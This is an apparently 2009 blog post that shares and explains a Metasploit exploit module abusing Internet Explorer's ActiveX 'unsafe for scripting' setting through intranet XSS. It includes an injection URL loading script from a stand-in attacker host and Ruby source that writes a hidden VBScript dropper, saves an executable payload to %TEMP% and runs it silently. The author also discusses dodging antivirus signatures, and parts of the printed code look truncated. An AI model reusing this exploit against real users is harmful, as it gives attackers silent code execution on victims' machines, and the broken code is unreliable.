Tuesday, January 27, 2009

ie_unsafe_scripting metasploit module

Update: This module now works as a standalone HTTP or javascript include. Also, we pushed this to SVN on 2/27/09.

This one's not in the svn tree yet; I'll update this post if it gets pulled in. I've had a couple of requests for it, so thought I would go ahead and drop it here.

It's meant to be used on intranet XSS in environments that have the "Initialize and script ActiveX controls not marked as safe for scripting" set to "enabled". I've run into a few such environments set this way for compatibility with intranet web apps. Rather than turning it on for only those specific sites (or, ummm, fixing the sites), they grant it for the entire intranet.

Intranet XSS is all over the place. Even the rock-dumb scanners like nikto will pick up dozens on a normal internal penetration test.

Next steps: create a fast XSS scanner written in javascript to automatically exploit this stuff over the internet!

For use like so:
http://vulnerable-server/vulnerable_web_app.asp?var="><script src=http://attacker-msf-server.com/ie_unsafe_scripting.js></script>
Or, if you are actually sitting on the intranet and can get people to hit http://server/msf.htm
<script src=http://msf-server/ie_unsafe_scripting.js>

Explanation of how it works

This works because this security setting grants access to the WScript ActiveX control from scripting languages in Internet Explorer (Javascript and VBScript). With this control you can (among other things):
  • Execute commands similar to a shell prompt (except you get to run these silently, without notifying the user) through WScript.Shell
  • Create/delete/modify text file through WScript.FileSystemObject
Unfortunately, it does not allow you to directly write binary files to the file system. (You can use WScript.FileSystemObject to create a 'text' file that contains binary data, but this will only work if you are in an ANSI / ASCII-based version of Windows, such as us in the USA. If you're in Japan, it apparently epicfails. No promises mine won't do the same thing, even though I've tried to work around it.)

As a result, when you want to write a file to disk you use the ADODB.Stream ActiveX control. Unfortunately for bad guys and pentesters, IE7 put in a new security control called "Access data sources across domain", which now by default is set to prompt the user if they want to allow your script to talk to other 'domains'. (Windows / IE treats the filesystem as a different 'domain', and therefore you can't read/write to it if your code was loaded from http://intranet/.)

But I can write text files and I can execute commands? Well, then I can write a script file directly to disk and then execute it, getting around the extra IE7 permissions!

This module pushes javascript that instantiates the WScript.FileSystemObject, writes a vbscript file to the %TEMP% directory, executes the script with WScript.Shell, and deletes it. The vbscript:
  • has a metasploit executable payload stored inside a really big hex block, which is converted to an ANSI character array once the script runs
  • converts the character array into a binary array using some ADODB.Stream trickery (ADODB.Stream won't accept an ANSI character array as input to write a binary file; it'll give you a type error.)
  • feeds ADODB.Stream the now converted binaryArray that it likes, and is written to disk

There are some things that could be done to minimize the size of the transport, but this is working now so I don't see a lot of reason to slim it down any further. This module defaults to using gzip transfer encoding, which will probably make it about as small of a transfer as can easily be made.

I randomized a bunch of junk, but I would assume those giant blocks of hex are probably very signatureable for the antivirus guys. If I really care, one day maybe I'll get around to doing some trickery so it encodes/decodes differently every time. For now, here it is:


# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
'Name' => 'Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to
save binary data to the file system, ADODB.Stream access is required, which in IE7
will trigger a cross domain access violation. As such, we write the code to a .vbs
file and execute it from there, where no such restrictions exist.

When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.

This module creates javascript code meant to be included in a <SCRIPT> tag, such as
'License' => MSF_LICENSE,
'Author' =>
'Version' => '$Revision:$',
'References' =>
[ 'MS', 'http://support.microsoft.com/kb/182569' ],
'Payload' =>
'Space' => 4000,
'StackAdjustment' => -3500,
'Platform' => 'win',
'Targets' =>
[ 'Automatic', { } ],

'DefaultOptions' =>
'HTTP::compression' => 'gzip'
'DefaultTarget' => 0))

def on_request_uri(cli, request)

# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5);
var_fsobj = rand_text_alpha(rand(5)+5);
var_fsobj_file = rand_text_alpha(rand(5)+5);
var_vbsname = rand_text_alpha(rand(5)+5);
var_writedir = rand_text_alpha(rand(5)+5);
var_exename = rand_text_alpha(rand(5)+5);
var_origLoc = rand_text_alpha(rand(5)+5);
var_byteArray = rand_text_alpha(rand(5)+5);
var_stream = rand_text_alpha(rand(5)+5);
var_writestream = rand_text_alpha(rand(5)+5);
var_strmConv = rand_text_alpha(rand(5)+5);

p = regenerate_payload(cli);
#print_status("Genning payload...");
exe = Rex::Text.to_win32pe(p.encoded, '');
#print_status("Building vbs file...");
# Build the content that will end up in the .vbs file
vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)

print_status("Encoding payload into vbs/javascript...");
# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
# for conversion with ADODB.Stream
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[0]).upcase}\"))\r\n")

1.upto(exe.length) do |i|
vbs_content << Rex::Text.to_hex("\ts = s & Chr(CInt(\"&H#{("%.2x" % exe[i]).upcase}\"))\r\n")

# Continue with the rest of the vbs file;
# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
# Then use ADODB.Stream again to write the binary to file.
#print_status("Finishing vbs...");
vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_byteArray} = #{var_strmConv}.Read

Set #{var_writestream} = CreateObject("ADODB.Stream")

#{var_writestream}.Type = 1
#{var_writestream}.Write #{var_byteArray}
#{var_writestream}.SaveToFile #{var_writedir}, 2


# Encode the vbs_content
#print_status("Hex encoded vbs_content: #{vbs_content}");

# Build the javascript that will be served
js_content = %Q|var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);


#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");

print_status("Sending exploit javascript to #{cli.peerhost}:#{cli.peerport}...");
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");

# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/javascript' })

# Handle the payload